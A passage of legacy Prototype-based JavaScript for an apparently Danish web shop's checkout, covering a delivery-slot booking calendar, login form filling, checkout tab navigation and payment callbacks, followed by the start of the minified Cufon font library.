	// Tomme dage før første gyldige dato
	var emptyDays = 0;
	// Tomme dage efter første gyldige dato
	var emptyDaysAfter = 0;
	// Korrigeret startdato for fuld først uge
	var corrStart = 0;
	
	// tomme dage i periodens start (søndag og frem)
	switch (currDay) {
		// søndag
		case 0:
		emptyDays = 0;
		break;
		// mandag
		case 1:
		emptyDays = 0;
		break;
		// tirsdag
		case 2:
		emptyDays = 1;
		break;
		// onsdag
		case 3:
		emptyDays = 2;
		break;
		// torsdag
		case 4:
		emptyDays = 3;
		break;
		// fredag
		case 5:
		emptyDays = 4;
		break;
		// lørdag
		case 6:
		emptyDays = 5;
		break;
	}
	switch (lastDay) {
		// søndag
		case 0:
		emptyDaysAfter = 0;
		break;
		// mandag
		case 1:
		emptyDaysAfter = 6;
		break;
		// tirsdag
		case 2:
		emptyDaysAfter = 5;
		break;
		// onsdag
		case 3:
		emptyDaysAfter = 4;
		break;
		// torsdag
		case 4:
		emptyDaysAfter = 3;
		break;
		// fredag
		case 5:
		emptyDaysAfter = 2;
		break;
		// lørdag
		case 6:
		emptyDaysAfter = 1
		break;
	}
	
	globalStartDate = currDate.clone();
	
	site.log('check: getOffsetDays, emptyDays:  ' + emptyDays);
	site.log('check: getOffsetDays, emptyDaysAfter:  ' + emptyDaysAfter);
	
	// the global number of empty days to begin with
	return emptyDays + ',' + emptyDaysAfter;
}

function prettyDay(day) {
	// set weekday-name
	switch (day.toString()) {
		case '1':
		var rowDayName = "MANDAG"
		break;
		case '2':
		var rowDayName = "TIRSDAG"
		break;
		case '3':
		var rowDayName = "ONSDAG"
		break;
		case '4':
		var rowDayName = "TORSDAG"
		break;
		case '5':
		var rowDayName = "FREDAG"
		break;
		case '6':
		var rowDayName = "LØRDAG"
		break;
		case '0':
		var rowDayName = "SØNDAG"
		break;
	}
	return rowDayName;
}


function prettyMonth(month) {
	// set month-name
	switch (month.toString()) {
		case '0':
		var rowMonthName = "JAN."
		break;
		case '1':
		var rowMonthName = "FEB."
		break;
		case '2':
		var rowMonthName = "MAR."
		break;
		case '3':
		var rowMonthName = "APR."
		break;
		case '4':
		var rowMonthName = "MAJ"
		break;
		case '5':
		var rowMonthName = "JUN."
		break;
		case '6':
		var rowMonthName = "JUL."
		break;
		case '7':
		var rowMonthName = "AUG."
		break;
		case '8':
		var rowMonthName = "SEPT."
		break;
		case '9':
		var rowMonthName = "OKT."
		break;
		case '10':
		var rowMonthName = "NOV."
		break;
		case '11':
		var rowMonthName = "DEC."
		break;
	}
	return rowMonthName;
}

/*********************************************************
******************     templates    *********************
*********************************************************/

if (Object.isUndefined(BookingSlots)) {
	var BookingSlots = {
	};
}

BookingSlots = {
	templates: {
		BS_Table: new Template('' + '#{wrapstart}#{rows}#{wrapend}'),
		BS_TableCol: new Template(
		'<div class="daybox #{rowclass}">' +
		'<div class="day">#{rowdate}</div>' +
		'<div class="slots">' +
		'<div rel="#{rs1}_#{rowdateReal}_#{rt1}" class="hoverit slot #{rr1}">#{rst1}#{price1}</div>' +
		'<div rel="#{rs2}_#{rowdateReal}_#{rt2}" class="hoverit slot #{rr2}">#{rst2}#{price2}</div>' +
		'<div rel="#{rs3}_#{rowdateReal}_#{rt3}" class="hoverit slot #{rr3}">#{rst3}#{price3}</div>' +
		'<div rel="#{rs4}_#{rowdateReal}_#{rt4}" class="hoverit slot #{rr4}">#{rst4}#{price4}</div>' +
		'</div></div>')
	}
};


function drawCalendar(data) {
	// show times
	var d = (! Object.isUndefined(data.d))? data.d: data;
	data = d;

	$('t_message').update('Tider hentet!'); //  + data[0].slots.size()
	
	if (data.size() != 0) {
		var lines = '';
		var linesAfter = '';
		var i = 0;
		var yearNum = '';
		var dayCount = '';
		//var tempDayCount = data.size(); // indtil rigtig kalender er aktiv
		// change the date format - MAY BE OBSOLETE!
		var splitDate = data[0].date.split('-');
		var splitLastDate = data[data.size() - 1].date.split('-');
		var newDate = Date.create(splitDate[1] + '-' + splitDate[0] + '-' + splitDate[2]);
		var newLastDate = Date.create(splitLastDate[1] + '-' + splitLastDate[0] + '-' + splitLastDate[2]);
		// korriger startdato
		globalStartOffset = getOffsetDays(newDate, newLastDate).split(',');
		//site.log('check globalstartoffset:' + globalStartOffset[0] + ',' + globalStartOffset[1]);
		j = globalStartOffset[0];
		while (j > 0) {
			thisDayTitle = ($D(newDate).clone().add(- j).getDate()) + '. ' + prettyMonth($D(newDate).clone().add(- j).getMonth()) + '<br />' + prettyDay($D(newDate).clone().add(- j).getDay())
			lines += "<div class='daybox'><div class='day'>" + thisDayTitle + "</div><div class='slots'><div class='slot empty'>&nbsp;</div><div class='slot empty'>&nbsp;</div><div class='slot empty'>&nbsp;</div><div class='slot empty'>&nbsp;</div></div></div>";
			j--;
		}
		
		site.log('check drawCalendar, emptylines:' + lines);
		
		
		// dynamiske slot-tider
		var slotSize = data[0].slots.size();
		if (slotSize > 0) {
			var slotTime1 = 'KL. ' + data[0].slots[0].starttime + '-' + data[0].slots[0].endtime;
		} else {
			var slotTime1 = ' ';
		}
		if (slotSize > 1) {
			var slotTime2 = 'KL. ' + data[0].slots[1].starttime + '-' + data[0].slots[1].endtime;
		} else {
			var slotTime2 = ' ';
		}
		if (slotSize > 2) {
			var slotTime3 = 'KL. ' + data[0].slots[2].starttime + '-' + data[0].slots[2].endtime;
		} else {
			var slotTime3 = ' ';
		}
		if (slotSize > 3) {
			var slotTime4 = 'KL. ' + data[0].slots[3].starttime + '-' + data[0].slots[3].endtime;
		} else {
			var slotTime4 = ' ';
		}
		/* $('slotTime1').update(slotTime1);
		$('slotTime2').update(slotTime2);
		$('slotTime3').update(slotTime3);
		$('slotTime4').update(slotTime4);*/
		
		var rowLastDate = '';
		data.each(function (line) {
			var slotSize = line.slots.size();
			// make correct date format
			var strDate = line.date.split('-');
			var rowRealDate = Date.create(strDate[1] + '-' + strDate[0] + '-' + strDate[2]);
			rowLastDate = rowRealDate;
			//rowRealDate = $D(line.date);
			if (slotSize > 0) {
				var rowSlot1 = line.slots[0].routeID;
				var rowRes1 = line.slots[0].capacity
				var rowPrice1 = (line.slots[0].routeprice != '0')? '<div class="price">+' + line.slots[0].routeprice + ',-</div>':'';
				var rowTime1 = (rowRes1 > 0)? 'KL. ' + line.slots[0].starttime + '-' + line.slots[0].endtime: '';
				var rowShortTime1 = (rowRes1 > 0)? '' + line.slots[0].starttime + '-' + line.slots[0].endtime: '';
			} else {
				var rowSlot1 = '';
				var rowRes1 = '';
				var rowTime1 = '';
				var rowPrice1 = '';
			};
			if (slotSize > 1) {
				var rowSlot2 = line.slots[1].routeID;
				var rowRes2 = line.slots[1].capacity;
				var rowPrice2 = (line.slots[1].routeprice != '0')? '<div class="price">+' + line.slots[1].routeprice + ',-</div>':'';
				var rowTime2 = (rowRes2 > 0)?  'KL. ' + line.slots[1].starttime + '-' + line.slots[1].endtime:'';
				var rowShortTime2 = (rowRes2 > 0)?  '' + line.slots[1].starttime + '-' + line.slots[1].endtime:'';
			} else {
				var rowSlot2 = '';
				var rowRes2 = '';
				var rowTime2 = '';
				var rowPrice2 = '';
			};
			if (slotSize > 2) {
				var rowSlot3 = line.slots[2].routeID;
				var rowRes3 = line.slots[2].capacity;
				var rowPrice3 = (line.slots[2].routeprice != '0')? '<div class="price">+' + line.slots[2].routeprice + ',-</div>':'';
				var rowTime3 = (rowRes3 > 0)?  'KL. ' + line.slots[2].starttime + '-' + line.slots[2].endtime:'';
				var rowShortTime3 = (rowRes3 > 0)?  '' + line.slots[2].starttime + '-' + line.slots[2].endtime:'';
			} else {
				var rowSlot3 = '';
				var rowRes3 = '';
				var rowTime3 = '';
				var rowPrice3 = '';
			};
			if (slotSize > 3) {
				var rowSlot4 = line.slots[3].routeID;
				var rowRes4 = line.slots[3].capacity;
				var rowPrice4 = (line.slots[3].routeprice != '0')? '<div class="price">+' + line.slots[3].routeprice + ',-</div>':'';
				var rowTime4 = (rowRes4 > 0)?  'KL. ' + line.slots[3].starttime + '-' + line.slots[3].endtime:'';
				var rowShortTime4 = (rowRes4 > 0)?  '' + line.slots[3].starttime + '-' + line.slots[3].endtime:'';
			} else {
				var rowSlot4 = '';
				var rowRes4 = '';
				var rowTime4 = '';
				var rowPrice4 = '';
			};
			
			rowDay = rowRealDate.getDay();
			rowDate = rowRealDate.getDate();
			rowMonth = rowRealDate.getMonth();
			rowYear = rowRealDate.getFullYear();
			
			rowDateCorr = (rowRealDate.getDate().toString().length == 1)? '0' + rowRealDate.getDate(): rowRealDate.getDate();
			rowMonthCorr = ((rowRealDate.getMonth() + 1).toString().length == 1)? '0' +(rowRealDate.getMonth() + 1): (rowRealDate.getMonth() + 1);
			
			rowDayName = prettyDay(rowDay.toString());
			rowMonthName = prettyMonth(rowMonth.toString());
						
			//if (rowDay != 0) {
				lines += BookingSlots.templates.BS_TableCol.evaluate(Object.extend(line, {
					rowclass: ((i % 2) == 0)? 'evenrow': 'oddrow',
					rownum: i,
					rowdate: rowRealDate.getDate() + '. ' + rowMonthName + '<br />' + rowDayName,
					rowdateReal: rowYear + '-' + rowMonthCorr + '-' + rowDateCorr,
					rs1: rowSlot1,
					rs2: rowSlot2,
					rs3: rowSlot3,
					rs4: rowSlot4,
					rt1: rowTime1,
					rt2: rowTime2,
					rt3: rowTime3,
					rt4: rowTime4,
					rst1: rowShortTime1,
					rst2: rowShortTime2,
					rst3: rowShortTime3,
					rst4: rowShortTime4,
					price1: rowPrice1,
					price2: rowPrice2,
					price3: rowPrice3,
					price4: rowPrice4,
					rr1: (rowSlot1 == globalBasketHeader.order.Header.routeid && ($D(rowRealDate).valueOf() == $D(globalBasketHeader.order.Header.customdlvdate).valueOf()))? (rowRes1 > 0)? 'selected free': 'selected full':(rowRes1 > 0)? 'free': 'full',
					rr2: (slotSize > 1)? (rowSlot2 == globalBasketHeader.order.Header.routeid && ($D(rowRealDate).valueOf() == $D(globalBasketHeader.order.Header.customdlvdate).valueOf()))? (rowRes2 > 0)? 'selected free': 'selected full':(rowRes2 > 0)? 'free': 'full':'empty',
					rr3: (slotSize > 2)? (rowSlot3 == globalBasketHeader.order.Header.routeid && ($D(rowRealDate).valueOf() == $D(globalBasketHeader.order.Header.customdlvdate).valueOf()))? (rowRes3 > 0)? 'selected free': 'selected full':(rowRes3 > 0)? 'free': 'full':'empty',
					rr4: (slotSize > 3)? (rowSlot4 == globalBasketHeader.order.Header.routeid && ($D(rowRealDate).valueOf() == $D(globalBasketHeader.order.Header.customdlvdate).valueOf()))? (rowRes4 > 0)? 'selected free': 'selected full':(rowRes4 > 0)? 'free': 'full':'empty'
				}));
			//}
			
			i += 1;
		});
		
		newEndDate = $D(rowLastDate);
		newEndDate = newEndDate.add(1);
		// newDate
		site.log('check newEndDate' + $D(rowLastDate) + '/' + newEndDate);
		var j = globalStartOffset[1];
		var k = 0;
		// temp empty dayslots
		// override j
		/*var tempAddDays = (tempDayCount%6);
		switch(tempAddDays)
		{
		case 0:
			j=0;
			break;
		case 1:
			j=5;
			break;
		case 2:
			j=4;
			break;
		case 3:
			j=3;
			break;
		case 4:
			j=2;
			break;
		case 5:
			j=6;
			break;
		case 6:
			j=0;
			break;
		}*/

		while (j > 0) {
			thisDayTitle = ($D(newEndDate).clone().add(k).getDate()) + '. ' + prettyMonth($D(newEndDate).clone().add(k).getMonth()) + '<br />' + prettyDay($D(newEndDate).clone().add(k).getDay())
			lines += "<div class='daybox'><div class='day'>" + thisDayTitle + "</div><div class='slots'><div class='slot empty'>&nbsp;</div><div class='slot empty'>&nbsp;</div><div class='slot empty'>&nbsp;</div><div class='slot empty'>&nbsp;</div></div></div>";
			j--;
			k++;
		}
		
		// number of selectable days
		globalMaxDays = i;
		//site.log('bookstyle: globalMax:' +globalMaxDays)
		
		// set visual stats
		//site.log('bookstyle: globalStartDate1: ' + globalStartDate);
		globalWeekNumber = globalStartDate.getISOWeek();
		//site.log('bookstyle: globalStartDate2: ' + globalStartDate);
		//$('bs_stats').update('UGE ' + globalWeekNumber + ', ' + globalStartDate.getFullYear());
		
		// populate view
		$('t_days').update(BookingSlots.templates.BS_Table.evaluate({
			offset: 'offset_' + globalStartOffset,
			rows: lines,
			wrapstart: "<div id='dayWindow'>",
			wrapend: "</div>"
		}));
		
		$('t_message').hide();
		$('t_days').removeClassName('pending');
		//$('slotTimes').show();
			
		// show hidden elements
		//$("bs_stats").show();
		$("weeks").show();
		$("bs_heading").show();
		
		// set up listeners
		$$('.free').each(function (s, index) {
			////site.log('køb: array built ' +s +'/'+ index);
			Event.observe(s, 'mouseover', mOver.bindAsEventListener(this));
			Event.observe(s, 'mouseout', mOut.bindAsEventListener(this));
			Event.observe(s, 'click', mClick.bindAsEventListener(this));
		});
		
		moveDates = new SliderObserver;
		
		// make sure, that IE set x-axis to 0
		$("dayWindow").setStyle({
			left: '0'
		});
		
		// refurbish page
		document.fire("custom:contentrefresh");
		// cufon
		(function(){ document.fire('custom:refreshCufon'); }).defer();
	} else {
		// $('orders').removeClassName('pending');
		$('t_message').update('Der er desværre ingen ledige tidspunkter.');
	}
	//debugger;
}

var newWeekDate = Date.create(globalStartDate).clone();
function updateWeek(direction) {
	if (direction == 'up') {
		$('bs_stats').update('UGE ' + newWeekDate.add(7).getISOWeek() + ', ' + newWeekDate.add(7).getFullYear());
	}
	if (direction == 'down') {
		$('bs_stats').update('UGE ' + newWeekDate.add(- 7).getISOWeek() + ', ' + newWeekDate.add(- 7).getFullYear());
	}
	(function(){ document.fire('custom:refreshCufon'); }).defer();
}

/* tab 4 functions */

/* save the chosen or given delivery date */
/*function saveDelivery() {
	site.log('check - saveDelivery');
	dk.ide.webservice.DeliveryService.Book($('tempDate').getValue(), $('tempRoute').getValue(), globalBasketID, saveDeliverySuccess);
}*/

function saveDeliveryDirect(route,timestamp) {
	site.log('check - saveDeliveryDirect');
	dk.ide.webservice.DeliveryService.Book(timestamp, route, globalBasketID, saveDeliverySuccess);
}

function saveDeliverySuccess(data) {
	// check success
	var d = (! Object.isUndefined(data.d))? data.d: data;
	data = d;
	if (data.status == 'OK') {
		site.log('check - action success: confirmed');
		changePage.getit('');
	} else {
		site.log('check - action success: NOT confirmed');
	}
}

/* step failed */
function requestFail() {
	// report the error
 	document.fire('errormessage:show', { boxname: 'commonerror',xpos: '350px', ypos: '245px', errormessage: 'Der er desværre opstået en fejl. Hvis fejlen betyder, at du ikke kan komme videre, så forsøg at gå tilbage til forrige trin og prøv igen. Får du fortsat fejl vil det være en stor hjælp hvis du vil fortælle om fejlen - skriv til eButik@ide.dk.' });
	site.log('check - action failed');
}

/* make nice dates */
function makeDates(isoDate, type) {
	var rowRealDate = new Date();
	rowRealDate = $D(isoDate);
	var rowDay = rowRealDate.getDay();
	var rowDate = rowRealDate.getDate();
	var rowMonth = rowRealDate.getMonth();
	var rowYear = rowRealDate.getFullYear();
	if (type == 'long') {
		
		switch (rowDay.toString()) {
			case '0':
			var rowDayName = "Søndag"
			break;
			case '1':
			var rowDayName = "Mandag"
			break;
			case '2':
			var rowDayName = "Tirsdag"
			break;
			case '3':
			var rowDayName = "Onsdag"
			break;
			case '4':
			var rowDayName = "Torsdag"
			break;
			case '5':
			var rowDayName = "Fredag"
			break;
			case '6':
			var rowDayName = "Lørdag"
			break;
		}
		// set month-name
		switch (rowMonth.toString()) {
			case '0':
			var rowMonthName = "januar"
			break;
			case '1':
			var rowMonthName = "februar"
			break;
			case '2':
			var rowMonthName = "marts"
			break;
			case '3':
			var rowMonthName = "april"
			break;
			case '4':
			var rowMonthName = "maj"
			break;
			case '5':
			var rowMonthName = "juni"
			break;
			case '6':
			var rowMonthName = "juli"
			break;
			case '7':
			var rowMonthName = "august"
			break;
			case '8':
			var rowMonthName = "september"
			break;
			case '9':
			var rowMonthName = "oktober"
			break;
			case '10':
			var rowMonthName = "november"
			break;
			case '11':
			var rowMonthName = "december"
			break;
		}
		niceNess = rowDayName + ', den ' + rowDate + '. ' + rowMonthName;
		return niceNess;
	}
}

Date.prototype.getMDay = function () {
	return (this.getDay() + 6) % 7;
};
Date.prototype.getISOYear = function () {
	var thu = new Date(this.getFullYear(), this.getMonth(), this.getDate() + 3 - this.getMDay());
	return thu.getFullYear();
};
Date.prototype.getISOWeek = function () {
	var onejan = new Date(this.getISOYear(), 0, 1);
	var wk = Math.ceil((((this - onejan) / 86400000) + onejan.getMDay() + 1) / 7);
	if (onejan.getMDay() > 3) {
		wk--
	};
	return wk;
};

/******** login functions **********/

var logincallback = function (result) {

	var filler= new CodeCompany.FormFiller({
		prefix: '',
		firstnamefield: 'sFName',
		lastnamefield: 'sLName',
		dayphonefield: 'sPhone',
		emailfield: 'sEmail',
		shopfield: 'Butik',
		adress: 'sAdd',
		city: 'sCity',
		zipcode: 'sZip'
	});
	filler.render();
	killerrors('');
	(function(){ formZipCheck.check('sZip','sCityTag','sCity') }).delay(1);
}

function doLogin() {
    dk.ide.webservice.LoginService.Login(servicetoken, $F('check_email'), $F('check_pw'), logincallback);
}

Object.extend(Prototype.Browser, {
    ie6: (/MSIE (\d+\.\d+);/.test(navigator.userAgent)) ? (Number(RegExp.$1) == 6 ? true : false) : false,
    ie7: (/MSIE (\d+\.\d+);/.test(navigator.userAgent)) ? (Number(RegExp.$1) == 7 ? true : false) : false,
    ie8: (/MSIE (\d+\.\d+);/.test(navigator.userAgent)) ? (Number(RegExp.$1) == 8 ? true : false) : false,
    ie9: (/MSIE (\d+\.\d+);/.test(navigator.userAgent)) ? (Number(RegExp.$1) == 9 ? true : false) : false
});


var Cufonify = Class.create({
	initialize: function() {
		site.log('check, cufonify init');
		document.observe('custom:refreshCufon',this.resetCufon.bindAsEventListener(this));
	},
	resetCufon: function(evt) {
		site.log('check, cufonify exec (IE7 disabled: ' + Prototype.Browser.ie7 + ')');
		//if (Prototype.Browser.ie7 != true) { document.fire('custom:systemfontreplace'); }
		document.fire('custom:systemfontreplace');
    }
});

new Cufonify();


/************** Change page **************/

var basketObj = Class.create({
	initialize: function () {
		site.log('check, getBasketObj ready!');
		this.data = '';
		this.callback = '';
	},
	getit: function (callbackstr) {
		// Call basketservice
		site.log('check, globalBasketHeader getting...');
		switch(callbackstr)
		{
		case 'getreceipt':
			site.log('check, getreceipt process');
			this.getreceipt.bind(this);
			break;
		case 'getfail':
			site.log('check, getfail process');
			this.getfail.bind(this);
			break;
		case 'getdelivery':
			site.log('check, getdelivery process');
			dk.ide.webservice.BasketService.Get(servicetoken, globalBasketID, this.getdelivery.bind(this));
			break;
		default:
			this.callback = callbackstr;
			//(callback != '')? dk.ide.webservice.BasketService.Get(servicetoken, globalBasketID, eval('this.' + callback + '.bind(this)')): dk.ide.webservice.BasketService.Get(servicetoken, globalBasketID, this.setit.bind(this));
			dk.ide.webservice.BasketService.Get(servicetoken, globalBasketID, this.setit.bind(this));
			site.log('check callback (getit): ' + this.callback);
		}
	},
	setit: function (response) {
		// Update local basket object
		site.log('check, globalBasketHeader updated!');
		var d = (! Object.isUndefined(response.d))? response.d: response;
		this.data = d;
		globalBasketHeader = this.data;
		site.log('check globalBasketHeader: ' + this.data.order.Header.customdlvdate);
		if (this.callback != '' && this.callback != undefined) { dk.ide.webservice.BasketService.Get(servicetoken, globalBasketID, eval('this.' + this.callback + '.bind(this)')); }
		site.log('check callback (setit): ' + this.callback + ' / '+ (this.callback != '' && this.callback != undefined));

	},
	/******** Tab #1 ********/
	getproducts: function () {
		//this.setit(getdata);
		if ($('tab1').hasClassName('unlocked')) {
			if ($('tab2').hasClassName('active')) {
				myAdd.saveOnly();
			}
			/*if (!$('tab1').hasClassName('active')) {
				$('receiver').addClassName('pending');
			}*/
			
			loadShoppingCart();
			togglePg.toggleTabs($("tab1"), 0);
			// disable forward
			$('tab2').removeClassName('unlocked').addClassName('locked');
			$('tab3').removeClassName('unlocked').addClassName('locked');
			$('tab4').removeClassName('unlocked').addClassName('locked');
			$('tab5').removeClassName('unlocked').addClassName('locked');
			$('tabdescription').update('Varer: Trin 1 af 6');
			// kill tab#2 errors
			killerrors('');
			document.fire('custom:googletrack', { trackUrl: '/checkout/varer.html' });
		}
	},
	/******** Tab #2 ********/
	getaddresses: function () {
		//this.setit(getdata);
		if ($('tab2').hasClassName('unlocked')) {
			$('receiver').addClassName('pending');
			loadElement.load('/systemservice/checkout/adresser?c=1', 'receiver', 'get', 'update');
			// disable forward
			togglePg.toggleTabs($("tab2"), 1);
			$('tab3').removeClassName('unlocked').addClassName('locked');
			$('tab4').removeClassName('unlocked').addClassName('locked');
			$('tab5').removeClassName('unlocked').addClassName('locked');
			$('tabdescription').update('Adresser: Trin 2 af 6');
			document.fire('custom:googletrack', { trackUrl: '/checkout/adresser.html' });
		}
	},
	/******** Tab #3 ********/
	getdelivery: function () {
		//this.setit(getdata);
		site.log('check getdelivery');
		if ($('tab3').hasClassName('unlocked')) {
			$('receiver').addClassName('pending');
			if ($('tab2').hasClassName('active')) {
				myAdd.save();
			} else {
				saveSuccess();
			}
			togglePg.toggleTabs($("tab3"), 2);
			$('tab4').removeClassName('unlocked').addClassName('locked');
			$('tabdescription').update('Levering: Trin 3 af 6');
			// kill tab#2 errors
			killerrors('');
			document.fire('custom:googletrack', { trackUrl: '/checkout/levering.html' });
		}
	},
	/******** Tab #3 - load calendar ********/
	loadcalendar: function () {
		//this.setit(getdata);
		site.log('check loadcalendar');
		loadCalendar();
	},
	/******** Tab #4 ********/
	getresume: function () {
		//this.setit(getdata);
		if ($("tab4").hasClassName('unlocked')) {
			$('receiver').addClassName('pending');
			if ($('tab3').hasClassName('active') && globalBasketHeader.order.Header.deliverymode =='levering') {
				//saveDelivery();
			}
			loadElement.load('/systemservice/checkout/resume?c=1', 'receiver', 'get', 'update');
			//new Ajax.Updater('receiver', '/systemservice/checkout/resume?c=1',{onComplete:myAdd.receipt()});
			// populate view
			function delayPop() {
				myAdd.resume();
			}
		    delayPop.delay(3);
		    $("tab5").removeClassName('locked').addClassName('unlocked');
		    togglePg.toggleTabs($("tab4"), 3);
		    $('tabdescription').update('Resume: Trin 4 af 6');
		    document.fire('custom:googletrack', { trackUrl: '/checkout/resume.html' });
		}
	},
	/******** Tab #5 ********/
	getpayment: function () {
		//this.setit(getdata);
		if ($("tab4").hasClassName('unlocked')) {
			$('receiver').addClassName('pending');
			new ID.Payment('receiver', getCookie("BasketId"));
			togglePg.toggleTabs($("tab5"), 4);
			$('tabdescription').update('Betaling: Trin 5 af 6');
			document.fire('custom:googletrack', { trackUrl: '/checkout/betaling.html' });
		}
	},
	/******** Tab #6 ********/
	getreceipt: function () {
		if ($("tab6").hasClassName('unlocked')) {
			//new Ajax.Updater('receiver', '/systemservice/checkout/resume?c=1&payment=success');
			//loadElement.load('/systemservice/checkout/resume?c=1&payment=success', 'receiver', 'get', 'update');
			/*function delayPop() {
				myAdd.receipt();
			}
			delayPop.delay(3);*/
		}
	},
	/******** Tab #6 ********/
	getfail: function () {
		//new Ajax.Updater('receiver', '/systemservice/checkout/resume?c=1&payment=fail');
		//loadElement.load('/systemservice/checkout/kvittering?c=1&payment=fail', 'receiver', 'get', 'update');
		/*function delayPop() {
			myAdd.receipt();
		}
		delayPop.delay(3);*/
	}
});

// class for loading pages in checkout
var changePage = new basketObj();

// observe payment callsbacks
document.observe("payment:fail", function() {
	$('receiver').addClassName('pending');
	var xx = new Ajax.Updater('receiver', '/systemservice/checkout/resume?c=1&payment=fail');
	//oldBasketHeader = globalBasketHeader;
	//changePage.getit('getfail');
	site.log('check payment:fail');
	$$('li.unlocked').invoke('removeClassName','active');
	//$('tab6').removeClassName('locked').addClassName('unlocked').addClassName('active');
	$('tab5').removeClassName('locked').addClassName('unlocked').addClassName('active');

	var w = '';
	function busyWait() {
		site.log('test:' +($('first7')!=null));
		if ($('first7')!=null) {
			if (w != '') {
				clearTimeout(w);
			};
			// populate products
			var getProductsNow = resumeCallBasketDirect();
			var myA = new customerAddress();
			var mya = myA.receipt();
		} else { 
			busyRepeat(); 
		};
	}
	function busyRepeat() {
		w = busyWait.delay(1);
	}
	$('tabdescription').update('Fejl i betalingen: Trin 5 af 6');
	(function(){ document.fire('custom:refreshCufon'); busyWait(); }).defer();
	document.fire('custom:googletrack', { trackUrl: '/checkout/betalingsfejl.html' });
});

document.observe("payment:accept", function() {
	$('receiver').addClassName('pending');
	var xx = new Ajax.Updater('receiver', '/systemservice/checkout/resume?c=1&payment=success');
	site.log('check payment:accept');
	//oldBasketHeader = globalBasketHeader;
	//changePage.getit('getreceipt');
	$$('li.unlocked').invoke('removeClassName','unlocked').invoke('removeClassName','active').invoke('addClassName','locked');
	$('tab6').removeClassName('locked').addClassName('unlocked').addClassName('active');
	var w = '';
	function busyWait() {
	site.log('test:' +($('first7')!=null));
		if ($('first7')!=null) {
			if (w != '') {
				clearTimeout(w);
			};
			// populate products
			var getProductsNow = resumeCallBasketDirect();
			var myA = new customerAddress();
			var mya = myA.receipt();
		} else { 
			busyRepeat(); 
		};
	}
	function busyRepeat() {
		w = busyWait.delay(1);
	}
	$('tabdescription').update('Kvittering: Trin 6 af 6');
	(function(){ document.fire('custom:refreshCufon'); busyWait(); }).defer();
	document.fire('custom:googletrack', { trackUrl: '/checkout/kvittering.html' });
});

function simpleLocalBasketUpdate() {
	changePage.getit('');
} 

}catch(ex){
	site.log('Failed to process checkout.js: '+ex);
}
/*
 * Copyright (c) 2009 Simo Kinnunen.
 * Licensed under the MIT license.
 *
 * @version 1.09i
 */
var Cufon=(function(){var m=function(){return m.replace.apply(null,arguments)};var x=m.DOM={ready:(function(){var C=false,E={loaded:1,complete:1};var B=[],D=function(){if(C){return}C=true;for(var F;F=B.shift();F()){}};if(document.addEventListener){document.addEventListener("DOMContentLoaded",D,false);window.addEventListener("pageshow",D,false)}if(!window.opera&&document.readyState){(function(){E[document.readyState]?D():setTimeout(arguments.callee,10)})()}if(document.readyState&&document.createStyleSheet){(function(){try{document.body.doScroll("left");D()}catch(F){setTimeout(arguments.callee,1)}})()}q(window,"load",D);return function(F){if(!arguments.length){D()}else{C?F():B.push(F)}}})(),root:function(){return document.documentElement||document.body}};var n=m.CSS={Size:function(C,B){this.value=parseFloat(C);this.unit=String(C).match(/[a-z%]*$/)[0]||"px";this.convert=function(D){return D/B*this.value};this.convertFrom=function(D){return D/this.value*B};this.toString=function(){return this.value+this.unit}},addClass:function(C,B){var D=C.className;C.className=D+(D&&" ")+B;return C},color:j(function(C){var B={};B.color=C.replace(/^rgba\((.*?),\s*([\d.]+)\)/,function(E,D,F){B.opacity=parseFloat(F);return"rgb("+D+")"});return B}),fontStretch:j(function(B){if(typeof B=="number"){return B}if(/%$/.test(B)){return parseFloat(B)/100}return{"ultra-condensed":0.5,"extra-condensed":0.625,condensed:0.75,"semi-condensed":0.875,"semi-expanded":1.125,expanded:1.25,"extra-expanded":1.5,"ultra-expanded":2}[B]||1}),getStyle:function(C){var B=document.defaultView;if(B&&B.getComputedStyle){return new a(B.getComputedStyle(C,null))}if(C.currentStyle){return new a(C.currentStyle)}return new a(C.style)},gradient:j(function(F){var G={id:F,type:F.match(/^-([a-z]+)-gradient\(/)[1],stops:[]},C=F.substr(F.indexOf("(")).match(/([\d.]+=)?(#[a-f0-9]+|[a-z]+\(.*?\)|[a-z]+)/ig);for(var E=0,B=C.length,D;E<B;++E){D=C[E].split("=",2).reverse();G.stops.push([D[1]||E/(B-1),D[0]])}return G}),quotedList:j(function(E){var D=[],C=/\s*((["'])([\s\S]*?[^\\])\2|[^,]+)\s*/g,B;while(B=C.exec(E)){D.push(B[3]||B[1])}return D}),recognizesMedia:j(function(G){var E=document.createElement("style"),D,C,B;E.type="text/css";E.media=G;try{E.appendChild(document.createTextNode("/**/"))}catch(F){}C=g("head")[0];C.insertBefore(E,C.firstChild);D=(E.sheet||E.styleSheet);B=D&&!D.disabled;C.removeChild(E);return B}),removeClass:function(D,C){var B=RegExp("(?:^|\\s+)"+C+"(?=\\s|$)","g");D.className=D.className.replace(B,"");return D},supports:function(D,C){var B=document.createElement("span").style;if(B[D]===undefined){return false}B[D]=C;return B[D]===C},textAlign:function(E,D,B,C){if(D.get("textAlign")=="right"){if(B>0){E=" "+E}}else{if(B<C-1){E+=" "}}return E},textShadow:j(function(F){if(F=="none"){return null}var E=[],G={},B,C=0;var D=/(#[a-f0-9]+|[a-z]+\(.*?\)|[a-z]+)|(-?[\d.]+[a-z%]*)|,/ig;while(B=D.exec(F)){if(B[0]==","){E.push(G);G={};C=0}else{if(B[1]){G.color=B[1]}else{G[["offX","offY","blur"][C++]]=B[2]}}}E.push(G);return E}),textTransform:(function(){var B={uppercase:function(C){return C.toUpperCase()},lowercase:function(C){return C.toLowerCase()},capitalize:function(C){return C.replace(/\b./g,function(D){return D.toUpperCase()})}};return function(E,D){var C=B[D.get("textTransform")];return C?C(E):E}})(),whiteSpace:(function(){var D={inline:1,"inline-block":1,"run-in":1};var C=/^\s+/,B=/\s+$/;return function(H,F,G,E){if(E){if(E.nodeName.toLowerCase()=="br"){H=H.replace(C,"")}}if(D[F.get("display")]){return H}if(!G.previousSibling){H=H.replace(C,"")}if(!G.nextSibling){H=H.replace(B,"")}return H}})()};n.ready=(function(){var B=!n.recognizesMedia("all"),E=false;var D=[],H=function(){B=true;for(var K;K=D.shift();K()){}};var I=g("link"),J=g("style");function C(K){return K.disabled||G(K.sheet,K.media||"screen")}function G(M,P){if(!n.recognizesMedia(P||"all")){return true}if(!M||M.disabled){return false}try{var Q=M.cssRules,O;if(Q){search:for(var L=0,K=Q.length;O=Q[L],L<K;++L){switch(O.type){case 2:break;case 3:if(!G(O.styleSheet,O.media.mediaText)){return false}break;default:break search}}}}catch(N){}return true}function F(){if(document.createStyleSheet){return true}var L,K;for(K=0;L=I[K];++K){if(L.rel.toLowerCase()=="stylesheet"&&!C(L)){return 